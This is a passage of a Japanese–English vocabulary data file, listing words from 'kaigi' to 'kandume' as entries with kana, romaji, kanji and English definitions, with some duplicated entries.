meeting\"\n\t},\n\n\t{\n\t\t'kana':'かいかく',\n\t\t'romaji':'kaikaku',\n\t\t'kanji':'改革',\n\t\t'definition':\"reform;reformation;innovation\"\n\t},\n\n\t{\n\t\t'kana':'かいかん',\n\t\t'romaji':'kaikan',\n\t\t'kanji':'会館',\n\t\t'definition':\"meeting hall;assembly hall\"\n\t},\n\n\t{\n\t\t'kana':'かいけい',\n\t\t'romaji':'kaikei',\n\t\t'kanji':'会計',\n\t\t'definition':\"account;finance;accountant;treasurer;paymaster;reckoning;bill\"\n\t},\n\n\t{\n\t\t'kana':'かいけん',\n\t\t'romaji':'kaiken',\n\t\t'kanji':'会見',\n\t\t'definition':\"interview;audience\"\n\t},\n\n\t{\n\t\t'kana':'かいけつ',\n\t\t'romaji':'kaiketsu',\n\t\t'kanji':'解決',\n\t\t'definition':\"settlement;solution;resolution\"\n\t},\n\n\t{\n\t\t'kana':'かいきょう',\n\t\t'romaji':'kaikyou',\n\t\t'kanji':'海峡',\n\t\t'definition':\"channel\"\n\t},\n\n\t{\n\t\t'kana':'かいきゅう',\n\t\t'romaji':'kaikyuu',\n\t\t'kanji':'階級',\n\t\t'definition':\"class;rank;grade\"\n\t},\n\n\t{\n\t\t'kana':'かいもの',\n\t\t'romaji':'kaimono',\n\t\t'kanji':'買い物',\n\t\t'definition':\"shopping\"\n\t},\n\n\t{\n\t\t'kana':'かいにゅう',\n\t\t'romaji':'kainyuu',\n\t\t'kanji':'介入',\n\t\t'definition':\"intervention\"\n\t},\n\n\t{\n\t\t'kana':'かいらん',\n\t\t'romaji':'kairan',\n\t\t'kanji':'回覧',\n\t\t'definition':\"circulation\"\n\t},\n\n\t{\n\t\t'kana':'かいろ',\n\t\t'romaji':'kairo',\n\t\t'kanji':'回路',\n\t\t'definition':\"circuit (electric)\"\n\t},\n\n\t{\n\t\t'kana':'かいりょう',\n\t\t'romaji':'kairyou',\n\t\t'kanji':'改良',\n\t\t'definition':\"improvement;reform\"\n\t},\n\n\t{\n\t\t'kana':'かいりゅう',\n\t\t'romaji':'kairyuu',\n\t\t'kanji':'海流',\n\t\t'definition':\"ocean current\"\n\t},\n\n\t{\n\t\t'kana':'かいさい',\n\t\t'romaji':'kaisai',\n\t\t'kanji':'開催',\n\t\t'definition':\"holding a meeting;open an exhibition\"\n\t},\n\n\t{\n\t\t'kana':'かいさん',\n\t\t'romaji':'kaisan',\n\t\t'kanji':'解散',\n\t\t'definition':\"breakup;dissolution\"\n\t},\n\n\t{\n\t\t'kana':'かいさつ',\n\t\t'romaji':'kaisatsu',\n\t\t'kanji':'改札',\n\t\t'definition':\"examination of tickets\"\n\t},\n\n\t{\n\t\t'kana':'かいせい',\n\t\t'romaji':'kaisei',\n\t\t'kanji':'快晴',\n\t\t'definition':\"good weather\"\n\t},\n\n\t{\n\t\t'kana':'かいせい',\n\t\t'romaji':'kaisei',\n\t\t'kanji':'改正',\n\t\t'definition':\"revision;amendment;alteration\"\n\t},\n\n\t{\n\t\t'kana':'かいせつ',\n\t\t'romaji':'kaisetsu',\n\t\t'kanji':'解説',\n\t\t'definition':\"explanation;commentary\"\n\t},\n\n\t{\n\t\t'kana':'かいしゃ',\n\t\t'romaji':'kaisha',\n\t\t'kanji':'会社',\n\t\t'definition':\"company;corporation\"\n\t},\n\n\t{\n\t\t'kana':'かいしゃく',\n\t\t'romaji':'kaishaku',\n\t\t'kanji':'解釈',\n\t\t'definition':\"explanation;interpretation\"\n\t},\n\n\t{\n\t\t'kana':'かいし',\n\t\t'romaji':'kaishi',\n\t\t'kanji':'開始',\n\t\t'definition':\"start;commencement;beginning\"\n\t},\n\n\t{\n\t\t'kana':'かいしゅう',\n\t\t'romaji':'kaishuu',\n\t\t'kanji':'改修',\n\t\t'definition':\"repair;improvement\"\n\t},\n\n\t{\n\t\t'kana':'かいしゅう',\n\t\t'romaji':'kaishuu',\n\t\t'kanji':'回収',\n\t\t'definition':\"collection;recovery\"\n\t},\n\n\t{\n\t\t'kana':'かいそう',\n\t\t'romaji':'kaisou',\n\t\t'kanji':'階層',\n\t\t'definition':\"class;level;stratum;hierarchy\"\n\t},\n\n\t{\n\t\t'kana':'かいそう',\n\t\t'romaji':'kaisou',\n\t\t'kanji':'回送',\n\t\t'definition':\"forwarding\"\n\t},\n\n\t{\n\t\t'kana':'かいすいよく',\n\t\t'romaji':'kaisuiyoku',\n\t\t'kanji':'海水浴',\n\t\t'definition':\"sea bathing;seawater bath\"\n\t},\n\n\t{\n\t\t'kana':'かいすう',\n\t\t'romaji':'kaisuu',\n\t\t'kanji':'回数',\n\t\t'definition':\"number of times;frequency\"\n\t},\n\n\t{\n\t\t'kana':'かいすうけん',\n\t\t'romaji':'kaisuuken',\n\t\t'kanji':'回数券',\n\t\t'definition':\"book of tickets\"\n\t},\n\n\t{\n\t\t'kana':'かいたく',\n\t\t'romaji':'kaitaku',\n\t\t'kanji':'開拓',\n\t\t'definition':\"reclamation (of wasteland);cultivation;pioneer\"\n\t},\n\n\t{\n\t\t'kana':'かいてい',\n\t\t'romaji':'kaitei',\n\t\t'kanji':'改訂',\n\t\t'definition':\"revision\"\n\t},\n\n\t{\n\t\t'kana':'かいてい',\n\t\t'romaji':'kaitei',\n\t\t'kanji':'改定',\n\t\t'definition':\"reform\"\n\t},\n\n\t{\n\t\t'kana':'かいてき',\n\t\t'romaji':'kaiteki',\n\t\t'kanji':'快適',\n\t\t'definition':\"pleasant;agreeable;comfortable\"\n\t},\n\n\t{\n\t\t'kana':'かいてん',\n\t\t'romaji':'kaiten',\n\t\t'kanji':'回転',\n\t\t'definition':\"rotation;revolution;turning\"\n\t},\n\n\t{\n\t\t'kana':'かいとう',\n\t\t'romaji':'kaitou',\n\t\t'kanji':'回答',\n\t\t'definition':\"reply;answer\"\n\t},\n\n\t{\n\t\t'kana':'かいとう',\n\t\t'romaji':'kaitou',\n\t\t'kanji':'解答',\n\t\t'definition':\"answer;solution\"\n\t},\n\n\t{\n\t\t'kana':'かいつう',\n\t\t'romaji':'kaitsuu',\n\t\t'kanji':'開通',\n\t\t'definition':\"opening;open\"\n\t},\n\n\t{\n\t\t'kana':'かいうん',\n\t\t'romaji':'kaiun',\n\t\t'kanji':'海運',\n\t\t'definition':\"maritime;marine transportation\"\n\t},\n\n\t{\n\t\t'kana':'かいわ',\n\t\t'romaji':'kaiwa',\n\t\t'kanji':'会話',\n\t\t'definition':\"conversation\"\n\t},\n\n\t{\n\t\t'kana':'かいよう',\n\t\t'romaji':'kaiyou',\n\t\t'kanji':'海洋',\n\t\t'definition':\"ocean\"\n\t},\n\n\t{\n\t\t'kana':'かいぜん',\n\t\t'romaji':'kaizen',\n\t\t'kanji':'改善',\n\t\t'definition':\"betterment;improvement;incremental and continuous improvement\"\n\t},\n\n\t{\n\t\t'kana':'かいぞう',\n\t\t'romaji':'kaizou',\n\t\t'kanji':'改造',\n\t\t'definition':\"remodeling\"\n\t},\n\n\t{\n\t\t'kana':'かじ',\n\t\t'romaji':'kaji',\n\t\t'kanji':'家事',\n\t\t'definition':\"housework;domestic chores\"\n\t},\n\n\t{\n\t\t'kana':'かじ',\n\t\t'romaji':'kaji',\n\t\t'kanji':'火事',\n\t\t'definition':\"fire;conflagration\"\n\t},\n\n\t{\n\t\t'kana':'かじる',\n\t\t'romaji':'kajiru',\n\t\t'kanji':'噛る',\n\t\t'definition':\"to chew;to bite (at);to gnaw;to nibble;to munch;to crunch;to have a smattering of\"\n\t},\n\n\t{\n\t\t'kana':'かじつ',\n\t\t'romaji':'kajitsu',\n\t\t'kanji':'果実',\n\t\t'definition':\"fruit;nut;berry.\"\n\t},\n\n\t{\n\t\t'kana':'かじょう',\n\t\t'romaji':'kajyou',\n\t\t'kanji':'過剰',\n\t\t'definition':\"excess;over-\"\n\t},\n\n\t{\n\t\t'kana':'かじょうがき',\n\t\t'romaji':'kajyougaki',\n\t\t'kanji':'箇条書き',\n\t\t'definition':\"itemized form;itemization\"\n\t},\n\n\t{\n\t\t'kana':'かかえる',\n\t\t'romaji':'kakaeru',\n\t\t'kanji':'抱える',\n\t\t'definition':\"to hold or carry under or in the arms\"\n\t},\n\n\t{\n\t\t'kana':'かかげる',\n\t\t'romaji':'kakageru',\n\t\t'kanji':'掲げる',\n\t\t'definition':\"to publish;to print;to carry (an article);to put up;to hang out;to hoist;to fly (a sail);to float (a flag)\"\n\t},\n\n\t{\n\t\t'kana':'かかく',\n\t\t'romaji':'kakaku',\n\t\t'kanji':'価格',\n\t\t'definition':\"price;value;cost\"\n\t},\n\n\t{\n\t\t'kana':'かかり',\n\t\t'romaji':'kakari',\n\t\t'kanji':'係り',\n\t\t'definition':\"official;duty;person in charge\"\n\t},\n\n\t{\n\t\t'kana':'かかる',\n\t\t'romaji':'kakaru',\n\t\t'kanji':'掛かる',\n\t\t'definition':\"to take (e.g. time money etc);to hang\"\n\t},\n\n\t{\n\t\t'kana':'かかと',\n\t\t'romaji':'kakato',\n\t\t'kanji':'踵',\n\t\t'definition':\"(shoe) heel\"\n\t},\n\n\t{\n\t\t'kana':'かかわる',\n\t\t'romaji':'kakawaru',\n\t\t'kanji':'係わる',\n\t\t'definition':\"to concern oneself in;to have to do with;to affect;to influence;to stick to (opinions)\"\n\t},\n\n\t{\n\t\t'kana':'かけ',\n\t\t'romaji':'kake',\n\t\t'kanji':'掛け',\n\t\t'definition':\"credit\"\n\t},\n\n\t{\n\t\t'kana':'かけ',\n\t\t'romaji':'kake',\n\t\t'kanji':'掛け',\n\t\t'definition':\"credit\"\n\t},\n\n\t{\n\t\t'kana':'かけ',\n\t\t'romaji':'kake',\n\t\t'kanji':'賭け',\n\t\t'definition':\"betting;gambling;a gamble\"\n\t},\n\n\t{\n\t\t'kana':'かけあし',\n\t\t'romaji':'kakeashi',\n\t\t'kanji':'駆け足',\n\t\t'definition':\"running fast;double time\"\n\t},\n\n\t{\n\t\t'kana':'かけい',\n\t\t'romaji':'kakei',\n\t\t'kanji':'家計',\n\t\t'definition':\"household economy;family finances\"\n\t},\n\n\t{\n\t\t'kana':'かけっこ',\n\t\t'romaji':'kakeko',\n\t\t'kanji':'駆けっこ',\n\t\t'definition':\"(foot) race\"\n\t},\n\n\t{\n\t\t'kana':'かける',\n\t\t'romaji':'kakeru',\n\t\t'kanji':'欠ける',\n\t\t'definition':\"to be lacking\"\n\t},\n\n\t{\n\t\t'kana':'かける',\n\t\t'romaji':'kakeru',\n\t\t'kanji':'掛ける',\n\t\t'definition':\"1. to wear;to put on;to hang;to begin to;to cover;to multiply;to turn on (a switch);to play (a record);to pour (water); 2. to sit down; 3. to make a phone call\"\n\t},\n\n\t{\n\t\t'kana':'かける',\n\t\t'romaji':'kakeru',\n\t\t'kanji':'賭ける',\n\t\t'definition':\"to wager;to bet;to risk;to stake;to gamble\"\n\t},\n\n\t{\n\t\t'kana':'かける',\n\t\t'romaji':'kakeru',\n\t\t'kanji':'駆ける',\n\t\t'definition':\"to run (race esp. horse);to gallop;to canter\"\n\t},\n\n\t{\n\t\t'kana':'かけつ',\n\t\t'romaji':'kaketsu',\n\t\t'kanji':'可決',\n\t\t'definition':\"approval;adoption (e.g. motion bill);passage\"\n\t},\n\n\t{\n\t\t'kana':'かけざん',\n\t\t'romaji':'kakezan',\n\t\t'kanji':'掛け算',\n\t\t'definition':\"multiplication\"\n\t},\n\n\t{\n\t\t'kana':'かっき',\n\t\t'romaji':'kaki',\n\t\t'kanji':'活気',\n\t\t'definition':\"energy;liveliness\"\n\t},\n\n\t{\n\t\t'kana':'かっき',\n\t\t'romaji':'kaki',\n\t\t'kanji':'画期',\n\t\t'definition':\"epoch-making\"\n\t},\n\n\t{\n\t\t'kana':'かきまわす',\n\t\t'romaji':'kakimawasu',\n\t\t'kanji':'掻き回す',\n\t\t'definition':\"to stir up;to churn;to ransack;to disturb\"\n\t},\n\n\t{\n\t\t'kana':'かきね',\n\t\t'romaji':'kakine',\n\t\t'kanji':'垣根',\n\t\t'definition':\"hedge\"\n\t},\n\n\t{\n\t\t'kana':'かきとめ',\n\t\t'romaji':'kakitome',\n\t\t'kanji':'書留',\n\t\t'definition':\"writing down;putting on record;recording;making a note of;registration (of mail)\"\n\t},\n\n\t{\n\t\t'kana':'かきとり',\n\t\t'romaji':'kakitori',\n\t\t'kanji':'書き取り',\n\t\t'definition':\"dictation\"\n\t},\n\n\t{\n\t\t'kana':'かきとる',\n\t\t'romaji':'kakitoru',\n\t\t'kanji':'書き取る',\n\t\t'definition':\"to write down;to take dictation;to take notes\"\n\t},\n\n\t{\n\t\t'kana':'かっこう',\n\t\t'romaji':'kakkou',\n\t\t'kanji':'格好',\n\t\t'definition':\"shape;form;posture;suitability;moderateness (in price);appearance;manner\"\n\t},\n\n\t{\n\t\t'kana':'かっこ',\n\t\t'romaji':'kako',\n\t\t'kanji':'括弧',\n\t\t'definition':\"parenthesis;brackets\"\n\t},\n\n\t{\n\t\t'kana':'かこ',\n\t\t'romaji':'kako',\n\t\t'kanji':'過去',\n\t\t'definition':\"the past;bygone days;the previous\"\n\t},\n\n\t{\n\t\t'kana':'かこむ',\n\t\t'romaji':'kakomu',\n\t\t'kanji':'囲む',\n\t\t'definition':\"to surround;to encircle\"\n\t},\n\n\t{\n\t\t'kana':'かこう',\n\t\t'romaji':'kakou',\n\t\t'kanji':'下降',\n\t\t'definition':\"downward;descent;fall;drop;subsidence\"\n\t},\n\n\t{\n\t\t'kana':'かこう',\n\t\t'romaji':'kakou',\n\t\t'kanji':'火口',\n\t\t'definition':\"crater\"\n\t},\n\n\t{\n\t\t'kana':'かこう',\n\t\t'romaji':'kakou',\n\t\t'kanji':'加工',\n\t\t'definition':\"manufacturing;processing;treatment\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'画',\n\t\t'definition':\"stroke\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'画',\n\t\t'definition':\"stroke\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'画',\n\t\t'definition':\"stroke\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'角',\n\t\t'definition':\"1. angle; 2. bishop (shogi)\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'角',\n\t\t'definition':\"1. angle; 2. bishop (shogi)\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'佳句',\n\t\t'definition':\"beautiful passage of literature\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'掻く',\n\t\t'definition':\"to scratch;to perspire\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'書く',\n\t\t'definition':\"to write\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'角',\n\t\t'definition':\"1. angle; 2. bishop (shogi)\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'佳句',\n\t\t'definition':\"beautiful passage of literature\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'格',\n\t\t'definition':\"status;character;case\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'核',\n\t\t'definition':\"nucleus;kernel\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'角',\n\t\t'definition':\"1. angle; 2. bishop (shogi)\"\n\t},\n\n\t{\n\t\t'kana':'かく',\n\t\t'romaji':'kaku',\n\t\t'kanji':'欠く',\n\t\t'definition':\"to lack;to break;to crack;to chip\"\n\t},\n\n\t{\n\t\t'kana':'かくべつ',\n\t\t'romaji':'kakubetsu',\n\t\t'kanji':'格別',\n\t\t'definition':\"exceptional\"\n\t},\n\n\t{\n\t\t'kana':'かくち',\n\t\t'romaji':'kakuchi',\n\t\t'kanji':'各地',\n\t\t'definition':\"every place;various places\"\n\t},\n\n\t{\n\t\t'kana':'かくちょう',\n\t\t'romaji':'kakuchou',\n\t\t'kanji':'拡張',\n\t\t'definition':\"expansion;extension;enlargement;escape (ESC)\"\n\t},\n\n\t{\n\t\t'kana':'かくだい',\n\t\t'romaji':'kakudai',\n\t\t'kanji':'拡大',\n\t\t'definition':\"magnification;enlargement\"\n\t},\n\n\t{\n\t\t'kana':'かくど',\n\t\t'romaji':'kakudo',\n\t\t'kanji':'角度',\n\t\t'definition':\"angle\"\n\t},\n\n\t{\n\t\t'kana':'かくご',\n\t\t'romaji':'kakugo',\n\t\t'kanji':'覚悟',\n\t\t'definition':\"resolution;resignation;readiness;preparedness\"\n\t},\n\n\t{\n\t\t'kana':'かくほ',\n\t\t'romaji':'kakuho',\n\t\t'kanji':'確保',\n\t\t'definition':\"guarantee;ensure;maintain;insure;secure\"\n\t},\n\n\t{\n\t\t'kana':'かくじ',\n\t\t'romaji':'kakuji',\n\t\t'kanji':'各自',\n\t\t'definition':\"individual;each\"\n\t},\n\n\t{\n\t\t'kana':'かくじつ',\n\t\t'romaji':'kakujitsu',\n\t\t'kanji':'確実',\n\t\t'definition':\"certainty;reliability;soundness\"\n\t},\n\n\t{\n\t\t'kana':'かくじゅう',\n\t\t'romaji':'kakujyuu',\n\t\t'kanji':'拡充',\n\t\t'definition':\"expansion\"\n\t},\n\n\t{\n\t\t'kana':'かくめい',\n\t\t'romaji':'kakumei',\n\t\t'kanji':'革命',\n\t\t'definition':\"revolution\"\n\t},\n\n\t{\n\t\t'kana':'かくにん',\n\t\t'romaji':'kakunin',\n\t\t'kanji':'確認',\n\t\t'definition':\"affirmation;confirmation\"\n\t},\n\n\t{\n\t\t'kana':'かくれる',\n\t\t'romaji':'kakureru',\n\t\t'kanji':'隠れる',\n\t\t'definition':\"to hide;to be hidden;to conceal oneself;to disappear\"\n\t},\n\n\t{\n\t\t'kana':'かくりつ',\n\t\t'romaji':'kakuritsu',\n\t\t'kanji':'確率',\n\t\t'definition':\"probability\"\n\t},\n\n\t{\n\t\t'kana':'かくりつ',\n\t\t'romaji':'kakuritsu',\n\t\t'kanji':'確立',\n\t\t'definition':\"establishment\"\n\t},\n\n\t{\n\t\t'kana':'かくさ',\n\t\t'romaji':'kakusa',\n\t\t'kanji':'格差',\n\t\t'definition':\"qualitative difference;disparity\"\n\t},\n\n\t{\n\t\t'kana':'かくさん',\n\t\t'romaji':'kakusan',\n\t\t'kanji':'拡散',\n\t\t'definition':\"scattering;diffusion\"\n\t},\n\n\t{\n\t\t'kana':'かくしん',\n\t\t'romaji':'kakushin',\n\t\t'kanji':'革新',\n\t\t'definition':\"reform;innovation\"\n\t},\n\n\t{\n\t\t'kana':'かくしん',\n\t\t'romaji':'kakushin',\n\t\t'kanji':'確信',\n\t\t'definition':\"conviction;confidence\"\n\t},\n\n\t{\n\t\t'kana':'かくしゅ',\n\t\t'romaji':'kakushu',\n\t\t'kanji':'各種',\n\t\t'definition':\"every kind;all sorts\"\n\t},\n\n\t{\n\t\t'kana':'かくしゅう',\n\t\t'romaji':'kakushuu',\n\t\t'kanji':'隔週',\n\t\t'definition':\"every other week\"\n\t},\n\n\t{\n\t\t'kana':'かくす',\n\t\t'romaji':'kakusu',\n\t\t'kanji':'隠す',\n\t\t'definition':\"to hide;to conceal\"\n\t},\n\n\t{\n\t\t'kana':'かくてい',\n\t\t'romaji':'kakutei',\n\t\t'kanji':'確定',\n\t\t'definition':\"definition (math);decision;settlement\"\n\t},\n\n\t{\n\t\t'kana':'カクテル',\n\t\t'romaji':'kakuteru',\n\t\t'kanji':'',\n\t\t'definition':\"cocktail\"\n\t},\n\n\t{\n\t\t'kana':'かくとく',\n\t\t'romaji':'kakutoku',\n\t\t'kanji':'獲得',\n\t\t'definition':\"acquisition;possession\"\n\t},\n\n\t{\n\t\t'kana':'かくう',\n\t\t'romaji':'kakuu',\n\t\t'kanji':'架空',\n\t\t'definition':\"aerial;overhead;fiction;fanciful\"\n\t},\n\n\t{\n\t\t'kana':'かま',\n\t\t'romaji':'kama',\n\t\t'kanji':'釜',\n\t\t'definition':\"iron pot;kettle\"\n\t},\n\n\t{\n\t\t'kana':'かまえ',\n\t\t'romaji':'kamae',\n\t\t'kanji':'構え',\n\t\t'definition':\"posture;pose;style\"\n\t},\n\n\t{\n\t\t'kana':'かまえる',\n\t\t'romaji':'kamaeru',\n\t\t'kanji':'構える',\n\t\t'definition':\"to set up\"\n\t},\n\n\t{\n\t\t'kana':'かまいません',\n\t\t'romaji':'kamaimasen',\n\t\t'kanji':'構いません',\n\t\t'definition':\"it doesn't matter\"\n\t},\n\n\t{\n\t\t'kana':'かめ',\n\t\t'romaji':'kame',\n\t\t'kanji':'瓶',\n\t\t'definition':\"earthenware pot\"\n\t},\n\n\t{\n\t\t'kana':'カメラ',\n\t\t'romaji':'kamera',\n\t\t'kanji':'',\n\t\t'definition':\"camera\"\n\t},\n\n\t{\n\t\t'kana':'カメラマン',\n\t\t'romaji':'kameraman',\n\t\t'kanji':'',\n\t\t'definition':\"cameraman\"\n\t},\n\n\t{\n\t\t'kana':'かみ',\n\t\t'romaji':'kami',\n\t\t'kanji':'紙',\n\t\t'definition':\"paper\"\n\t},\n\n\t{\n\t\t'kana':'かみ',\n\t\t'romaji':'kami',\n\t\t'kanji':'髪',\n\t\t'definition':\"hair\"\n\t},\n\n\t{\n\t\t'kana':'かみ',\n\t\t'romaji':'kami',\n\t\t'kanji':'紙',\n\t\t'definition':\"paper\"\n\t},\n\n\t{\n\t\t'kana':'かみ',\n\t\t'romaji':'kami',\n\t\t'kanji':'神',\n\t\t'definition':\"god\"\n\t},\n\n\t{\n\t\t'kana':'かみ',\n\t\t'romaji':'kami',\n\t\t'kanji':'加味',\n\t\t'definition':\"seasoning;flavoring\"\n\t},\n\n\t{\n\t\t'kana':'かみきる',\n\t\t'romaji':'kamikiru',\n\t\t'kanji':'噛み切る',\n\t\t'definition':\"to bite off;to gnaw through\"\n\t},\n\n\t{\n\t\t'kana':'かみくず',\n\t\t'romaji':'kamikuzu',\n\t\t'kanji':'紙屑',\n\t\t'definition':\"wastepaper\"\n\t},\n\n\t{\n\t\t'kana':'かみのけ',\n\t\t'romaji':'kaminoke',\n\t\t'kanji':'髪の毛',\n\t\t'definition':\"hair (head)\"\n\t},\n\n\t{\n\t\t'kana':'かみさま',\n\t\t'romaji':'kamisama',\n\t\t'kanji':'神様',\n\t\t'definition':\"god\"\n\t},\n\n\t{\n\t\t'kana':'かみそり',\n\t\t'romaji':'kamisori',\n\t\t'kanji':'剃刀',\n\t\t'definition':\"razor\"\n\t},\n\n\t{\n\t\t'kana':'かみつ',\n\t\t'romaji':'kamitsu',\n\t\t'kanji':'過密',\n\t\t'definition':\"crowded\"\n\t},\n\n\t{\n\t\t'kana':'かもく',\n\t\t'romaji':'kamoku',\n\t\t'kanji':'科目',\n\t\t'definition':\"(school) subject;curriculum;course\"\n\t},\n\n\t{\n\t\t'kana':'かもしれない',\n\t\t'romaji':'kamoshirenai',\n\t\t'kanji':'かも知れない',\n\t\t'definition':\"may;might;perhaps;may be;possibly\"\n\t},\n\n\t{\n\t\t'kana':'かもつ',\n\t\t'romaji':'kamotsu',\n\t\t'kanji':'貨物',\n\t\t'definition':\"cargo;freight\"\n\t},\n\n\t{\n\t\t'kana':'かむ',\n\t\t'romaji':'kamu',\n\t\t'kanji':'噛む',\n\t\t'definition':\"to bite;to chew;to gnaw\"\n\t},\n\n\t{\n\t\t'kana':'カムバック',\n\t\t'romaji':'kamubaku',\n\t\t'kanji':'',\n\t\t'definition':\"comeback\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'乾',\n\t\t'definition':\"heaven;emperor\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'館',\n\t\t'definition':\"house;hall;building;hotel;inn;guesthouse\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'乾',\n\t\t'definition':\"heaven;emperor\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'観',\n\t\t'definition':\"look;appearance;spectacle\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'管',\n\t\t'definition':\"pipe;tube\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'冠',\n\t\t'definition':\"crown;diadem;first;best;peerless;cap;naming;designating;initiating on coming of age;top character radical\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'勘',\n\t\t'definition':\"perception;intuition;the sixth sense\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'缶',\n\t\t'definition':\"can;tin\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'幹',\n\t\t'definition':\"(tree) trunk\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'管',\n\t\t'definition':\"pipe;tube\"\n\t},\n\n\t{\n\t\t'kana':'かん',\n\t\t'romaji':'kan',\n\t\t'kanji':'乾',\n\t\t'definition':\"heaven;emperor\"\n\t},\n\n\t{\n\t\t'kana':'かな',\n\t\t'romaji':'kana',\n\t\t'kanji':'仮名',\n\t\t'definition':\"Japanese syllabary (alphabets);kana\"\n\t},\n\n\t{\n\t\t'kana':'かなぼう',\n\t\t'romaji':'kanabou',\n\t\t'kanji':'鉄棒',\n\t\t'definition':\"iron rod;crowbar;horizontal bar (gymnastics)\"\n\t},\n\n\t{\n\t\t'kana':'かなづち',\n\t\t'romaji':'kanaduchi',\n\t\t'kanji':'金槌',\n\t\t'definition':\"1. (iron) hammer; 2. punishment\"\n\t},\n\n\t{\n\t\t'kana':'かなづかい',\n\t\t'romaji':'kanadukai',\n\t\t'kanji':'仮名遣い',\n\t\t'definition':\"kana orthography;syllabary spelling\"\n\t},\n\n\t{\n\t\t'kana':'かなえる',\n\t\t'romaji':'kanaeru',\n\t\t'kanji':'叶える',\n\t\t'definition':\"to grant (request wish)\"\n\t},\n\n\t{\n\t\t'kana':'かない',\n\t\t'romaji':'kanai',\n\t\t'kanji':'家内',\n\t\t'definition':\"wife\"\n\t},\n\n\t{\n\t\t'kana':'かならず',\n\t\t'romaji':'kanarazu',\n\t\t'kanji':'必ず',\n\t\t'definition':\"necessarily;certainly;without fail;positively;invariably\"\n\t},\n\n\t{\n\t\t'kana':'かならずしも',\n\t\t'romaji':'kanarazushimo',\n\t\t'kanji':'必ずしも',\n\t\t'definition':\"(not) always;(not) necessarily;(not) all;(not) entirely\"\n\t},\n\n\t{\n\t\t'kana':'かなり',\n\t\t'romaji':'kanari',\n\t\t'kanji':'可成',\n\t\t'definition':\"considerably;fairly;quite\"\n\t},\n\n\t{\n\t\t'kana':'かなしい',\n\t\t'romaji':'kanashii',\n\t\t'kanji':'悲しい',\n\t\t'definition':\"sad;sorrowful\"\n\t},\n\n\t{\n\t\t'kana':'かなしむ',\n\t\t'romaji':'kanashimu',\n\t\t'kanji':'悲しむ',\n\t\t'definition':\"to be sad;to mourn for;to regret\"\n\t},\n\n\t{\n\t\t'kana':'かなう',\n\t\t'romaji':'kanau',\n\t\t'kanji':'叶う',\n\t\t'definition':\"to come true (wish)\"\n\t},\n\n\t{\n\t\t'kana':'かなわない',\n\t\t'romaji':'kanawanai',\n\t\t'kanji':'敵わない',\n\t\t'definition':\"1. no match for; 2. unbearable; 3. unable;can't do\"\n\t},\n\n\t{\n\t\t'kana':'かんばん',\n\t\t'romaji':'kanban',\n\t\t'kanji':'看板',\n\t\t'definition':\"sign;signboard;doorplate;poster;billboard;appearance;figurehead;policy;attraction;closing time\"\n\t},\n\n\t{\n\t\t'kana':'かんべん',\n\t\t'romaji':'kanben',\n\t\t'kanji':'勘弁',\n\t\t'definition':\"pardon;forgiveness;forbearance\"\n\t},\n\n\t{\n\t\t'kana':'かんぶ',\n\t\t'romaji':'kanbu',\n\t\t'kanji':'幹部',\n\t\t'definition':\"management;(executive) staff;leaders\"\n\t},\n\n\t{\n\t\t'kana':'かんびょう',\n\t\t'romaji':'kanbyou',\n\t\t'kanji':'看病',\n\t\t'definition':\"nursing (a patient)\"\n\t},\n\n\t{\n\t\t'kana':'かんちがい',\n\t\t'romaji':'kanchigai',\n\t\t'kanji':'勘違い',\n\t\t'definition':\"misunderstanding;wrong guess\"\n\t},\n\n\t{\n\t\t'kana':'かんちょう',\n\t\t'romaji':'kanchou',\n\t\t'kanji':'官庁',\n\t\t'definition':\"government office;authorities\"\n\t},\n\n\t{\n\t\t'kana':'かんでんち',\n\t\t'romaji':'kandenchi',\n\t\t'kanji':'乾電池',\n\t\t'definition':\"dry cell;battery\"\n\t},\n\n\t{\n\t\t'kana':'かんど',\n\t\t'romaji':'kando',\n\t\t'kanji':'感度',\n\t\t'definition':\"sensitivity;severity (quake)\"\n\t},\n\n\t{\n\t\t'kana':'かんどう',\n\t\t'romaji':'kandou',\n\t\t'kanji':'感動',\n\t\t'definition':\"being deeply moved emotionally;excitement;impression;deep emotion\"\n\t},\n\n\t{\n\t\t'kana':'かんづめ',\n\t\t'romaji':'kandume',\n\t\t'kanji':'缶詰',\n\t\t'definition':\"packing (in cans);canning;canned goods;tin 